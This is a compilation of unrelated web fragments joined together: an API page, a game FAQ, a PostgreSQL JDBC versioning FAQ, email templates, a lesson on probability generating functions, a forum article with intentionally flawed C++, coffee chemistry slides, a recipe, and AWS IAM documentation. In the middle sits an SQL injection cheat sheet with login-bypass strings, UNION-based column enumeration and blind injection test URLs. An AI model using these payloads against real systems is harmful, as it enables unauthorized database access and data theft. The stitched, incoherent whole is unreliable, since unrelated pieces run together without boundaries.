37Coins provides a simple and powerful REST API to integrate bitcoin payments into your business or application.
Api Endpoint
http://chains-qa.37coins.io
37coins provides a simple and powerful REST API to integrate bitcoin payments into your business or application.
Api Endpoint
http://chains-qa.37coins.io
37coins provides a simple and powerful REST API to integrate bitcoin payments into your business or application.
Version 1 description goes here
Version 2 description goes here


You can report it to the developer. The main platform for reporting bugs is Github (go to "Issues" and then click "New Issue"). Alternatively you can leave a comment on the latest bug thread on Reddit or pop by the official Discord server.
You can leave suggestions and feature requests on Github, Reddit or Discord. Keep in mind that there are plenty of features that are already planned but haven't been implemented yet.
This is a personal side project, so development is quite slow and updates are irregular. You can have a look at the changelog to see when the game was last updated or check Github to see if there's been any recent activity. Be warned that at this stage, updates might break old saves and force you to start over.
The plan is to complete the web version first.
At first - gather materials, craft a light, make a camp and expand. Later - find blueprints, find stairs and camps, get better gear, make buckets and traps, build your base, repeat. If you have a problem then exploring will usually solve it.
Stamina is your energy meter. It's expended by exploring and regenerated by your base camp. Light and equipment can modify costs. You should carefully plan out trips to avoid running out as that causes you to collapse. Once per excursion, you can use food and water to rest for a bit of extra stamina.
Remember to build traps and buckets and use the map to plan out your route. Return to base when you start getting tired and leave any valuables home if you are planning to take a difficult route and risk fainting.
Get better gear, or consumables.  Sometimes, it's just a matter of trying again.
You will be able to expand your storage more later. Explore the map to find out how.
You will need to find the correct blueprints by exploring the map. Some passages will only be fixable later in the game.
There are spots on the map where specific ingredients are found more often - these are marked with a little icon with four squares. Enemies also often drop ingredients.
Research fortifications and build up your defences. When a raid is in progress, you can't interact with it.
Some levels don't have enough human activity or are too polluted to support a camp. There are hints in the log and in the sector description to that effect. The icon at the top of the page (next to the level / camp name) also shows what kind of a level you are on.
Some levels just don't have enough people living on them to support a full camp and have smaller outposts instead.
If you don't have protective eyewear you can wait until your eyes adapt.
You need to find a workshop and clear it of enemies so your workers can use it.
You might meet again.
Silver is a currency used for trade and for recruiting followers. Trade and recruiting become available after unlocking the corresponding upgrades. Not all traders accept silver. Later silver can also used for other things.
Currently, artefacts are not used for anything. Some traders will buy them.
Once luxury resources are available in a camp they increase its Reputation. They become available in their nearest camp when a Resource Outpost is built and other camps when they are connected to that camp with Tradint Posts.
Explore the lowest level to find the Deity. Build shrines, and collect enough Favour to unlock the required technologies. Make sure you've found spots where Greenhouses can be built on earlier levels.
Yes, the game has a clear ending so you know when you have run out of content.


We have three issues we are trying to address here.
a) We do not want to be tied to the server release schedule.
Previously the version was based on the server release to declare some kind of compatibility, from 9.4.xxxx this was no longer the case and the increments was just in the last 4 digits, this leads us to the second issue.
b) Avoid confusion as to which version to use with which server version.
The naming scheme previously has 9.4 in it which leads people to believe it is for server version 9.4 only, when in fact it support PostgreSQL 8.2 and higher. That means that some users looking for PostgreSQL 9.5 were asking what is the version to use, and some users that still use PostgreSQL 8.4 were using the JDBC driver 8.4 Build 703.
The driver is version agnostic for the most point so there is no reason to tie it to a specific server version. Unless you have unusual requirements (running old applications or JVMs), this is the driver you should be using.
c) The previous version policy don't leave room for differentiate from bug fixes releases and feature releases.
The new version policy will allow us to use more or less Semantic Versioning, and have a more clear understanding of the versions.
42 was more or less chosen at random. But it is large enough to avoid any future conflicts with the server. Given current server project policies, server version 42 should come out in 2049, plus or minus a bit.
Some say that "The answer to the ultimate question of life, the universe and everything is 42."
This release is not a rewrite of the driver, is not using a new architecture, nor is using something special, it's the continuation of the same driver following a better versioning policy.
Yes, starting with the 8.1dev-403 driver. However, transaction interleaving is not supported.
Transaction interleaving means that one database connection can be used for multiple transactions at the same time, switching between the transactions.
Transaction interleaving is mostly useless, but it's a required part of the JTA specification. Some application servers use it to allow a bit more concurrency without allocating a bigger jdbc connection pool.
Few JDBC drivers support transaction interleaving properly. Some fake it by issuing early prepare commands, risking transaction integrity, some give strange error messages, some fail in other, subtle ways. The PostgreSQL JDBC driver does it's best to detect interleaving and throws a proper error message when it can't do what's requested.
Because of the lack of driver support, all of the popular application servers provide options to work around it, or don't use it at all. Therefore, lack of transaction interleaving shouldn't affect your application or data integrity.
See the JTA specification, section 3.4.4, or search the pgsql-jdbc mailing list archives for more information.
This is related to batched queries and synchronous TCP.
The thing to look at is setting the network buffer sizes to use to large values to avoid the deadlock. The default values are machine dependent which also explains it working or not on different machines (credit to Kris Jurka)
By default, 8.x versions of the driver use protocol version 3 when communicating with servers 7.4 or higher. This protocol allows for more efficient query execution and enables true server-side prepared statements, but also places some additional restrictions on queries. Problems with upgrading the driver generally fall into one of two categories:
Parameter Typing. Previous versions of the driver sent all PreparedStatement parameters to the server as untyped strings, and allowed the server to infer their types as appropriate. When running protocol version 3 however, the driver specifies the type of each parameter as it is being sent. The upshot of this is that code which was previously able to call (for example): PreparedStatement.setObject(1, "5") to set an integer parameter now breaks, because setting a String value for an integer parameter is not allowed.
Parameter Position. Previous versions of the driver emulated PreparedStatements by performing string replacements each time the query was executed. Newer drivers using protocol 3 however actually use server-side prepared statements with placeholders for the positional parameters. The upshot of this is that '?' positional parameters are now only allowed where the PostgreSQL back-end allows parameters.
In situations where it is difficult to modify the Java code and/or queries to work with the newer protocol version, it is possible to force the driver to use an older protocol version to restore the old behavior. Look in the documentation for the protocolVersion connection parameter.


Link to submission form In order to recognize the beauty and creativity of artistic renderings emerging from the neuroimaging community, we are launching the sixth a...


|
|
Dear {{ firstName }} {{ lastName }},
|
|
Airdrop for {{ period }} has been processed.
Details of this and previous distributions are enclosed for your reference.
|
| Period |
Balance |
Tokens |
Tx Hash |
{{#each periods}}
| {{ period }} |
{{#if ineligible}}
-/-
{{else}}
{{ balance }}
{{/if}}
|
{{#if ineligible}}
-/-
{{else}}
{{ tokens }}
{{/if}}
|
{{#if ineligible}}
ineligible
{{else}}
{{ txHashSmall }}
{{/if}}
|
{{/each}}
|
|
— Cappasity 3D Team
|
|
|
|


Title:
Content:
Submit
Update
{{title}} {{content}}
{{title}} {{content}}
{{queue.title}}
Edit
Delete
Id
Name
Amout
Delete
Edit
{{product.id}}
{{product.name}}
{{product.amount}}
Delete
Edit
Product info
Id:
Name:
Amount:
Update
Add


Nav
Jaz Lalli
About
Contact
Main Article
The article body goes here.
Sub-heading
Some more copy here.


Please fill out all fields
Your Name: Subject: E-mail: Website:
Do you like this website? Yes No Not sure
How did you find us? -- Please select -- Google Yahoo Link from a website Word of mouth Other
Work Needed:


We know how to find the distribution of the sum of any two discrete random variables.
$$ P(X+Y = k) = \sum_j P(X=j, Y=k-j) $$If $X$ and $Y$ are independent, this simplifies to become the discrete convolution formula:
$$ P(X+Y = k) = \sum_j P(X=j)P(Y=k-j) $$By induction, we can extend this to the sum of any finite number of independent variables.
So in principle, we know how to find the distribution of the sum of $n$ independent random variables for $n > 1$. However, this method can be hard to put into practice for large $n$.
In this section we examine another way of approaching the problem of finding the distribution of a sum. It is easier to automate, as you will see, though it too comes up against computational barriers eventually.
Let $X$ be a random variable with possible values $0, 1, 2, \ldots, N$ for some fixed integer $N$. For brevity, let $p_k = P(X = k)$ for $k$ in the range 0 through $N$.
Define the probability generating function (pgf) of $X$ as
$$ G_X(s) ~ = ~ \sum_{k=0}^N p_ks^k, ~~~ -\infty < s < \infty $$This says that for any $s$, $$ G_X(s) ~ = ~ p_0 + p_1s + p_2s^2 + p_3s^3 + \cdots + p_Ns^N $$
You can see that $G_X$ is a polynomial of degree $N$, and that the coefficient of $s^k$ is $p_k = P(X=k)$.
So if you were given the pgf of a random variable, you could read off the distribution of the random variable by simply listing all the powers and the corresponding coefficients.
To see how this might help us find the distribution of a sum, observe that for every $s$, the value $G_X(s)$ is an expectation:
$$ G_X(s) ~ = ~ \sum_{k=0}^N s^kP(X=k) ~ = ~ E(s^X) $$Therefore, if $X$ and $Y$ are independent (and the values of $Y$ are also a finite set of non-negative integers), then for every $s$,
$$ G_{X+Y}(s) ~ = ~ E(s^{X+Y}) ~ = ~ E(s^X s^Y) ~ = ~ E(s^X)E(s^Y) ~ = ~ G_X(s)G_Y(s) $$We have used the fact that for independent random variables, the expectation of the product is the product of the expectations. This was proved when we were studying the properties of covariance.
The result says that the pgf of the sum of two independent random variables is the product of the two pgfs. This extends easily to more than two random variables and yields a simple formula for the pgf of the sum of i.i.d. variables.
Now let $X_1, X_2, \ldots, X_n$ be i.i.d. with a distribution on $0, 1, 2, \ldots, N$. Let $S_n = X_1 + X_2 + \cdots + X_n$. Then the probability generating function of $S_n$ is
$$ G_{S_n}(s) ~ = ~ \big{(}G_{X_1}(s)\big{)}^n, ~~~ -\infty < s < \infty $$Because $G_{X_1}$ is a polynomial of degree $N$, $G_{S_n}$ is a polynomial of degree $nN$. As with any pgf, the coefficient of $s^k$ is the chance of $k$. That is, for every $k$ in the range 0 through $nN$,
$$ P(S_n = k) = \text{coefficient of } s^k \text{ in } G_{S_n}(s) $$We now have an algorithm for finding the distribution of $S_n$.
Wonderful! We're done! Except that actually doing this involves raising a polynomial to a power. That is a daunting task if the power is large.
Fortunately, as you will see in the next section, NumPy
comes to our rescue with a set of polynomial methods.
Technical Note. We have defined the probability generating function for random variables that have finitely many non-negative integer values. The definition can be extended to random variables that have infinitely many non-negative integer values. But in that case the pgf is an infinite series and we have to be careful about convergence. Typically the pgf is defined only on the domain $|s| \le 1$ so that it converges.


Tee hee hee... I called us lovers! O_o
Hello females, males, transsexuals, natural hermaphrodites, and unsexed...
This is an article about our refusal to answer homework questions and solve homework problems.
I expect the majority of the people who have posted something along the lines of...
Hey pplz:
Write a program that implements Eratosthenes's sieve. The program should take in from the console the upper limit for the range 1-n to be searched for primes and output the number of prime numbers.
...were flat-out denied the problem's solution, and those who got the solution might have seen the solution giver reprimanded for giving the solution. If you are either a solution-giver or a solution-seeker, then I'm sorry but there's a difference between the easy way out and the right way out, and in this article I hope to explain why we are so set against giving out problem solutions.
Say that for the above problem, I posted the solution of:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
|
#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>
#include <math.h>
using namespace std;
int size;
int* primes;
bool checkprimeness(int i)
{
for (int j = 0; j < size; j++)
if (i % primes[j] == 0) return false;
return true;
}
void main()
{
int max;
printf("Enter your number: ");
cin >> max;
system("cls");
if (max < 2) {
printf("What the fortran do you take me for?\nThere are no positive primes here!\n");
exit(0);
}
else {
primes = (int*)malloc(4*max);
size = 0;
primes[size] = 2, size++;
}
int i;
for (i = 2; i < max+1; i++) {
if (checkprimeness(i))
primes[size] = i, size++;
}
cout << "\n";
for (i = 0; i < size; i++)
cout << primes<i> << "\n";
system("pause");
}
| |
Off the top of my head, there are five problems with doing this.
1: The OP (original poster) may not read through the code.
We have no guarantee that the OP will not do some really quick foot-kissing and run off with this solution, presenting it to the instructor as his/her own without examining it first. This is a problem because:
1.1: We will have wasted our time creating the solution (the above took me about 5 minutes, but it's still time wasted), as the OP will have learned nothing positive and unless it's good practice for you, you just spent some time writing a bit of code that won't teach anything positive. :)
1.2: Those of us who were paying close attention will notice that
this code is not in fact the solution to the problem. Misreads happen, and if the student doesn't pay close enough attention, he/she won't notice that I "accidentally" made the program output the list of prime numbers instead of the demanded number of prime numbers.
Also, as tition correctly noticed in the thread version of this article 3 months later, the algorithm I used is not Eratosthenes's sieve; it never strikes out any numbers from a complete list. If this were in a solution I gave to the OP it might easily have gone unnoticed, and he/she might lose a substantial amount of credit on the problem if this piece of code was given in as a solution.
1.3: In the event that someone tried to turn this example in for credit, they might lose stunning amounts of credit just because of the ugly style I wrote it in. More on this in point 5.
2: This enforces laziness during college.
The OP might in some cases learn that others will do his/her work for him/her, possibly leading to some... unfortunate changes, as well as reinforcing laziness. This is only a possibility, like the above, but it still exists; I've seen it happen.
3: No comment(s).
If the OP actually did try to learn from my example, it could be hard to follow due to the lack of explanatory comments. Some of us will put in the comments, but I recognize that others may not, so when the given solution doesn't have explanatory comments it's time wasted for the OP, and possibly simply doing the problem would have taken less time to do and would have lead to a better understanding.
4: This enforces laziness after college.
(inspired by a response by cnoeval) If somehow the OP managed to get through college cheating and obtain a reasonable degree to work in the computer science industry, then he/she would have both wasted at least two good years of his/her life, and also have great trouble being able to actually work. Some people might help them in that area as well, possibly for years, but even the most generous people have a limit.
5: It spreads bad coding habits like a disease.
The style of this piece of code is actually quite horrific, but what's worse is that someone without much experience in C++ might give this to someone as a solution to turn in. I'd congratulate the effort, but in the event that the OP does try to learn from the code, he/she might develop habits that in C++ are not only terrible, but also very hard to unlearn. Usually we try to point this out, but we aren't everywhere and we aren't active all the time. Please don't give out solutions, just in case your habits aren't ideal!
NOTE: The example won't even compile if one closely follows the C++ standard. In addition, the program has a memory leak, as a result of the memory primes points to never being freed. I do NOT recommend running this program without fixing it first!
If you learn better by seeing a problem and its solution side by side, ask a forum member if they can create a similar problem and solve it so that you can see the problem and the solution side by side. If one of us has the time, we will happily do that or link to an already done example. :)
For a few guidelines in creating a good question, see the article
here.
Happy coding!
-Albatross
EDIT1: Made a slight change to the problem description to make it somewhat more realistic and added point #4. Also made the console pause slightly more elegant but slightly harder to understand.
EDIT2: Added point 1.2.1 (now a part of 1.2)
EDIT3: Made a few minor changes.
EDIT4: Doused the example with a bucket of unadulterated evil, and added point 5.
EDIT5: A few anti-refinements to the example were added.
EDIT6: A few small wording changes were made, changed the article to take advantage of the features of the new Articles section.


--- layout: base audience: participants ---
Coderetreats are free day-long, intensive practice events, focusing on the fundamentals of software development and design. By providing developers the opportunity to take part in focused practice, away from the pressures of "getting things done", the coderetreat format has proven itself to be a highly effective means of learning and nurturing software development skills.
All over the world, people are coming together in small communities of practices to learn, explore and grow. Join us on the Global Day of Coderetreat on {{ site.globalday.start | date:"%b %d, %Y" }} - {{ site.globalday.end | date:"%b %d, %Y" }} or discover local communities around you!
Join thousands of developers on {{ site.globalday.start | date:"%b %d" }}-{{ site.globalday.end | date:"%b %d, %Y" }} in the largest free community workshop worldwide.
Find an event in your areaA coderetreat is a day of deliberate practice, far away of the pressure of getting things done. A space for you to try out Test-Driven-Development and other practices.
Learn moreWhat do you need to prepare? How do you set up an IDE? We'll answer these and a lot of frequently asked questions in our Getting Started-guide!
To the guide{{ item.teaser }}
Read onGot a coderetreat related article to share? File an issue or send us a Pull Request on GitHub!


iPhone is a line of smartphones designed and marketed by Apple Inc. The iPhone line of products use Apple's iOS mobile operating system software. The first-generation iPhone was released on June 29, 2007, and multiple new hardware iterations with new iOS releases have been released since
iMac is a family of all-in-one Macintosh desktop computers designed and built by Apple Inc. It has been the primary part of Apple's consumer desktop offerings since its debut in August 1998, and has evolved through seven distinct forms.
Apple Watch is a line of smartwatches designed, developed, and marketed by Apple Inc. It incorporates fitness tracking and health-oriented capabilities with integration with iOS and other Apple products and services. Apple Watch relies on a wirelessly connected iPhone to perform many of its default functions such as calling and texting. Series 3 LTE Apple Watches are able to be used without needing to be consistently connected to an iPhone, though an iPhone is still required to set up the device.
Production of iPhones Started in 2007. Everything Changed Except the Craze in Mass About This Device
This Work is only Possible Because of these People:
We Would Love to Hear From You:
259, Yorkland Blvd
North York
ON | Canada


---
layout: deck
title: Acids
version: 1
---
class: inverse, center, middle
#Acids in Coffee
##\#CaffeinatedTraining
##\#OilSlickCoffee
.footnote[
Press "h" for keyboard shortcuts for this presentation]
---
"The acid content of green coffee bean is around 11%, mainly comprising citric, malic, chlorogenic and quinic acids, while roasted bean contains around 6% due to decreases in citric, malic and chlorogenic acids"1
"It is still unknown which acids are imperative to recreate the acidity experienced in coffee. It is generally understood that citric acid, malic acid, and acetic acid are the most important because they exist in high proportions..."2
Citric - Tastes like citrus fruit - C6H8O7
Malic - Tastes like green apples - C4H6O5
Acetic - Tastes like vinegar - C2H4O2
Coffee pH ≈ 5
Neutral pH = 7.0
.footnote[
1https://espace.library.uq.edu.au/data/UQ_410662/s4111253_final_thesis.pdf
2http://www.coffeeresearch.org/science/sourmain.htm]
---
#Acids in Coffee
* Organic acids are early products of plant metabolism
* Also are produced through degradation of more reduced chemical entities in plants
Put simply:
* Photosynthesis produces sugars, which are converted to energy. In the conversion process, organic acids are produced as by-products.
Put even more simply:
* In order for plants to form acids, they must have sugars.
???
Acids contribute a hydrogen ion, lowering pH.
Phosphoric acid is inorganic and requires a phosphate from the soil
---
#Acids in Coffee
Other sources of acids in coffee
* Coffee plant/development → photosynthesis
* Processing → fermentation = acetic acids
* Roasting
* Brewing?
???
"Given the same roast level, coffees brewed at higher temperatures will exhibit higher extractable solubles, higher concentrations of total acids, and lower pH values."
"Since acids are water soluble, increases to water temperature produce higher levels of extraction"
Higher acidity generally means higher cupping score
---
#Acids in Coffee - Roasting
Roasting coffee beans creates a temperature gradient in the bean
Acetic acid is formed by the breakdown of sugars. Other acids are formed by the breakdown of other pre-existing compounds.
Heat accelerates chemical reactions and in this case the formation of acids.
Larger gradients therefore provide a greater difference in acid development with the beans.
Put simply: faster + hotter roast = greater difference between ground and whole color = more complex acidity
???
Draw bean and indicate heat on outer edges and temp + acid degradation gradients
---
#Acids in Coffee
Citric and malic acids decompose at relatively high temps 176°C and 190°C respectively
Both are 'tart' but malic is smoother than citric.
Malic acid tends to be highly favored by coffee professionals when scoring a coffee.*
.footnote[
*Organic Acids Revisited, by Joseph Rivera, Roast Magazine, May/June 2015]
---
#Malic Acid
* Decomposes: ~190°C
* High concentration in apples
* Perceived sourness—sensation on the sides of the tongue
* Formed by plant before cherry harvest
* Regional humidity for plant increases acidity in cherry
* Generally, more fruitiness (as with wine) = more malic acid
* Typical medium roast will lose ~30% of original malic acid content
---
#Acetic Acid
* Boiling point: 118 - 119°C
* High concentration in vinegar
* Mostly formed during roasting process
* Also a by-product of fermentation
* Can increase up to 25 times from initial green bean content
* Formed by breakdown of carbs (sugar) — therefore more prevalent in arabica VS robusta
* Volatile - readily detected by smell
* Maximum concentration at light roast.
???
Due to volatility, plays an important role in aroma.
Acetic acid levels peak at light-roast level and rapidly decreases with darker roasts.
---
#Citric Acid
* Decomposes: ~176C
* Decreases at medium and dark roasts
* High concentration in limes, lemons, oranges, etc.
* One of the most predominant acids
* Contributes to perceived acidity
* Not formed or increased during roasting proces
---
exclude: true
#Concentrations at roast levels:
Roast | Malic | Acetic | Citric
------|-------|--------|-------
Very light | 1.58% | 1.58% | 1.58%
Medium | 0.22% | 0.27% | 0.30%
Dark | 0.71% | 0.71% | 0.71%
.footnote[
Clarke, R.J. The Flavour of Coffee. In Dev. Food Science. 3B: 1-47. 1986. 1-47]
---
exclude: true
#Phosphoric Acid
* Boiling point: 158°C
* Water soluable
* Inorganic (lacks available carbon)
* Formed by plant before cherry harvest
* 100 times more potent than most of organic acids
"[M]any researchers believe that phosphoric acid significantly contributes to beverage acidity due to its strength and ability to readily dissociate.*"
.footnote[
Alchemy in the Roasting Lab, Part 2 of 2, Joseph A. Rivera, Roast Magazine, May/June 2005]
---
#Acids in Coffee - Flavor Progression
.center[]
.footnote[
Hoos, R. 2015. Modulating The Flavor Profile Of Coffee. Hoos Coffee
https://issuu.com/robhooscoffee/docs/book_-_digital]
---
class: center, middle
End of presentation


The iOS app may be found at:
https://itunes.apple.com/us/app/lionel-beta/id1244553534 (as I am below 18, it was published under my father's name)
and the Android app at:
https://play.google.com/store/apps/details?id=com.noemptypromises.rahularya.lionel
Close ProjectThe source code may be found at:
https://github.com/rahularya50/reversi
Feel free to try and beat it!
Close ProjectTry a prototype version of this tool at:
https://rahularya50.github.io/SchoolMap
I'm still working on the color scheme and on the user interface. Let me know if you find any bugs or have any ideas for improvements!
Close Project


|
|
Thank you for choosing DaiMinh Travel
|
|
|
|
Dear Mr. James Anderson,
Thank you very much for your request
DaiMinh Travel's staff is checking the availibility
of services as per your request
Within the next 6 hours, DaiMinh Travel's staff
will email you for detail information / reconfirmation and so on
Please wait and check your email then
|
|
|
Order #: FLC05392029404
Status # : CHECKING SERVICE'S AVAILABILITY
|
|
|
|
|
Dai Minh is looking forward to serving you soon,
Wish you a pleasant journey,
Best Regards,
Reservation Department
Dai Minh Travel
|
|
|
|


Property has always been one of the most desirable investment areas all around the world. Professionally managed real estate generates safe and predictable cash flow while passively appreciating in value. SRI focuses on properties applicable for business needs as well as long-term investments.
Starting your own business can be a complex task, consisting of many unknown factors. Having financial guarantees and expert advice can significantly improve the chances of success. SRI assists new ventures in multiple ways.
To enquire further about Start Real Invest OU services, please use the form below. We aim to respond to all enquires within 48 hours.
Start Real Invest OU
Reg. No 14896201
Harju maakond
Tallinn
Kesklinna linnaosa
Roseni tn 13
10111


Managing time well is definitely a challenge, particularly with the remote learning phase. So far I have been trying to use my time productively however this has sometimes been difficult. Surprisingly the Toggl app has been quite helpful in keeping track of my time and making me more aware of areas I may be spending too much time on. Using my time efficently is something I am keen to continue to improve on. Limiting time to work on challenges and setting deadlines is something I will continue to implement. As a last minute procrastinator, I might explore giving myself even less time to really push my productivity.
Another idea I found interesting in some of the course material is the emphasis of focusing on small tasks. Instead of attempting to make big changes, start by thinking really, really small. Small wins achieved over time can lead to confidence and a growth mindset. Through making the objective precise, tasks will be easier to accomplish and success is more likely.
Hopefully over the next few weeks my time management and learning habits will develop and improve as I discover what works best for me.


{% extends "data_apis/base.html" %} {% load markdown_filter %} {# fmt:off #} {% block page_title %}Data-powered democracy: Data and Downloads{% endblock %} {% block main_content %}
All of Democracy Club’s election candidate and results data is available as free-to-download CSV files.
All of our candidate information, including votes cast.
A slimmed down file containing only votes cast.


Preparation time
over 2 hours
Cooking time
10 to 30 mins
Serves
Serves 4
Combine all the marinade ingredients in a bowl. Add the halibut pieces and turn to coat completely. Thread onto wooden skewers, place onto a baking tray, cover and chill in the fridge for at least two hours.
Preheat the grill to its highest setting.
Place the halibut skewers under the grill and cook, basting every two minutes with the butter and lemon juice, turning the skewers until golden on all sides and cooked through, about ten minutes.
Meanwhile, for the sauce, place the onion, garlic and chillies into a food processor and blend until smooth.
Heat the peanut oil in a pan over low heat. Add the onion mixture and fry for 6-7 minutes, or until golden brown.
Place the coriander leaves, ginger and tomatoes into a food processor and blend until smooth.
Add the tomato mixture into the pan and cook for 15-20 minutes, until most of the liquid has evaporated.
Add the ground coriander, cumin, paprika, fenugreek and garam masala and season, to taste, with salt. Stir and cook for 1-2 minutes, then gradually stir in the yoghurt.
Add the milk and increase the heat to bring the mixture to the boil. Reduce the heat and simmer for five minutes.
To serve, place two halibut skewers onto a plate, spoon over some sauce and garnish with the coriander leaves. Serve with basmati rice and naan.


Bypassing Login Screens
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
....
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
Finding Column Names with HAVING BY - Error Based
' HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --
and so on If you are not getting any more error then it's done.
Finding how many columns in SELECT query by ORDER BY
Finding column number by ORDER BY can speed up the UNION SQL Injection process.
ORDER BY 1--
ORDER BY 2--
ORDER BY N-- so on
Keep going until get an error. Error means you found the number of selected columns.
Finding Column Type
' union select sum(columntofind) from users--
If you are not getting an error it means column is numeric.
Also you can use CAST() or CONVERT()
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
No Error - Syntax is right. MS SQL Server Used. Proceeding.
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
No Error – First column is an integer.
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
Error! – Second column is not an integer.
11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
No Error – Second column is a string.
11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –-
Error! – Third column is not an integer. ...
Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.
You'll get convert() errors before union target errors ! So start with convert() then union
These tests are simply good for blind sql injection and silent attacks.
product.asp?id=4
product.asp?id=5-1
product.asp?id=4 OR 1=1
product.asp?name=Book
product.asp?name=Bo'%2b'ok
product.asp?name=Bo' || 'ok (OM)
product.asp?name=Book' OR 'x'='x


{{set . "title" "FreeCycle"}} {{append . "moreStyles" "css/cover.css"}} {{template "header.html" .}}
Thanks for giving! Please check your email and verify the listing.
Cover template for Bootstrap, by @mdo.


|
| enum | Panels {
CACHE_PANEL = 0,
DISPLAY_PANEL,
HISTORY_PANEL,
PRIVACY_PANEL,
WEB_PANEL,
WINDOWS_PANEL
} |
| |
|
|
void | show (void) |
| |
|
void | showNormal (void) |
| |
|
|
void | applied (void) |
| |
|
void | dooble_credentials_authenticated (bool state) |
| |
|
void | dooble_credentials_created (void) |
| |
|
void | populated (void) |
| |
|
|
void | restore (bool read_database) |
| |
|
void | set_site_feature_permission (const QUrl &url, QWebEnginePage::Feature feature, bool state) |
| |
|
void | show_panel (dooble_settings::Panels panel) |
| |
|
|
static QString | cookie_policy_string (int index) |
| |
|
static QString | zoom_frame_location_string (int index) |
| |
|
static QVariant | setting (const QString &key) |
| |
|
static bool | has_dooble_credentials (void) |
| |
|
static bool | has_dooble_credentials_temporary (void) |
| |
|
static bool | set_setting (const QString &key, const QVariant &value) |
| |
|
static bool | site_has_javascript_block_popup_exception (const QUrl &url) |
| |
|
static int | site_feature_permission (const QUrl &url, QWebEnginePage::Feature feature) |
| |
|
static void | remove_setting (const QString &key) |
| |
|
|
static QStringList | s_spell_checker_dictionaries |
| |
|
|
void | closeEvent (QCloseEvent *event) |
| |
|
void | keyPressEvent (QKeyEvent *event) |
| |
|
void | resizeEvent (QResizeEvent *event) |
| |
The documentation for this class was generated from the following files:


Actions, Resources, and Condition Keys for Amazon Simple Workflow Service
Amazon Simple Workflow Service (service prefix: swf
) provides the following service-specific resources, actions, and condition context
keys for use in IAM permission policies.
References:
-
Learn how to configure this service.
-
View a list of the API operations available for this service.
-
Learn how to secure this service and its resources by using IAM permission policies.
Topics
Actions Defined by Amazon Simple Workflow Service
You can specify the following actions in the Action
element of an IAM policy statement. Use policies to grant permissions to perform
an operation in AWS. When you use an action in a policy, you usually allow or
deny access to the API operation or CLI command with the same name. However,
in some cases, a single action controls access to more than one operation. Alternatively,
some operations require several different actions.
The Resource column indicates whether each action supports resource-level permissions. If
there is no value for this column, you must specify all resources ("*") in the
Resource
element of your policy statement. If the column includes a resource type, then
you can specify an ARN of that type in a statement with that action. Required
resources are indicated in the table with an asterisk (*). If you specify a resource-level
permission ARN in a statement using this action, then it must be of this type.
Some actions support multiple resource types. If the resource type is optional (not
indicated as required), then you can choose to use one but not the other.
For details about the columns in the following table, see The Actions Table.
| Actions | Description | Access Level | Resource Types (*required) | Condition Keys | Dependent Actions |
|---|---|---|---|---|---|
| CancelTimer | Description for CancelTimer | Write | |||
| CancelWorkflowExecution | Description for CancelWorkflowExecution | Write | |||
| CompleteWorkflowExecution | Description for CompleteWorkflowExecution | Write | |||
| ContinueAsNewWorkflowExecution | Description for ContinueAsNewWorkflowExecution | Write | |||
| CountClosedWorkflowExecutions | Returns the number of closed workflow executions within the given domain that meet the specified filtering criteria. | Read | |||
| CountOpenWorkflowExecutions | Returns the number of open workflow executions within the given domain that meet the specified filtering criteria. | Read | |||
| CountPendingActivityTasks | Returns the estimated number of activity tasks in the specified task list. | Read | |||
| CountPendingDecisionTasks | Returns the estimated number of decision tasks in the specified task list. | Read | |||
| DeprecateActivityType | Deprecates the specified activity type. | Write | |||
| DeprecateDomain | Deprecates the specified domain. | Write | |||
| DeprecateWorkflowType | Deprecates the specified workflow type. | Write | |||
| DescribeActivityType | Returns information about the specified activity type. | Read | |||
| DescribeDomain | Returns information about the specified domain, including description and status. | Read | |||
| DescribeWorkflowExecution | Returns information about the specified workflow execution including its type and some statistics. | Read | |||
| DescribeWorkflowType | Returns information about the specified workflow type. | Read | |||
| FailWorkflowExecution | Description for FailWorkflowExecution | Write | |||
| GetWorkflowExecutionHistory | Returns the history of the specified workflow execution. | Read | |||
| ListActivityTypes | Returns information about all activities registered in the specified domain that match the specified name and registration status. | List | |||
| ListClosedWorkflowExecutions | Returns a list of closed workflow executions in the specified domain that meet the filtering criteria. | List | |||
| ListDomains | Returns the list of domains registered in the account. | List | |||
| ListOpenWorkflowExecutions | Returns a list of open workflow executions in the specified domain that meet the filtering criteria. | List | |||
| ListTagsForResource | This action lists tags for an AWS SWF resource. | List | |||
| ListWorkflowTypes | Returns information about workflow types in the specified domain. | List | |||
| PollForActivityTask | Used by workers to get an ActivityTask from the specified activity taskList. | Write | |||
| PollForDecisionTask | Used by deciders to get a DecisionTask from the specified decision taskList. | Write | |||
| RecordActivityTaskHeartbeat | Used by activity workers to report to the service that the ActivityTask represented by the specified taskToken is still making progress. | Write | |||
| RecordMarker | Description for RecordMarker | Write | |||
| RegisterActivityType | Registers a new activity type along with its configuration settings in the specified domain. | Write | |||
| RegisterDomain | Registers a new domain. | Write | |||
| RegisterWorkflowType | Registers a new workflow type and its configuration settings in the specified domain. | Write | |||
| RequestCancelActivityTask | Description for RequestCancelActivityTask | Write | |||
| RequestCancelExternalWorkflowExecution | Description for RequestCancelExternalWorkflowExecution | Write | |||
| RequestCancelWorkflowExecution | Records a WorkflowExecutionCancelRequested event in the currently running workflow execution identified by the given domain, workflowId, and runId. | Write | |||
| RespondActivityTaskCanceled | Used by workers to tell the service that the ActivityTask identified by the taskToken was successfully canceled. | Write | |||
